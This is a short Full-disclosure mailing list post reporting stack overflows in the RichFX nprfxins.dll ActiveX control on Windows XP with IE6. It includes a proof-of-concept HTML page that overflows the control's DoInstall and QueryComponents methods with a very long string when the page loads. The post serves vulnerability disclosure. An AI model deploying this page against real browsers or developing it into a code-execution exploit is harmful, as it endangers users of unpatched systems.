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[Full-disclosure] RichFX nprfxins.dll ActiveX Control Multiple Stack Overflows

There are multiple stack overflows in the RichFX nprfxins.dll ActiveX Control. 
I almost positive that this control was installed with RealNetworks RealPlayer. 
This was tested on Windows XP SP2 fully patched and IE6. This control is marked 
safe for scripting. I have not tested code execution. PoC as follows:

------------
<!--
written by e.b.
-->
<html>
 <head>
  <script language="JavaScript" DEFER>
    function Check() {
    var s = "AAAA";

    while (s.length < 999999) s=s+s;

     var obj = new ActiveXObject("RFXInstMgr.RFXInstMgr"); 
//{47F59200-8783-11D2-8343-00A0C945A819}


     obj.DoInstall(s);   
     obj.QueryComponents(s);    

   }
  </script>

 </head>
 <body onload="JavaScript: return Check();">

 </body>
</html> 

------------


Elazar

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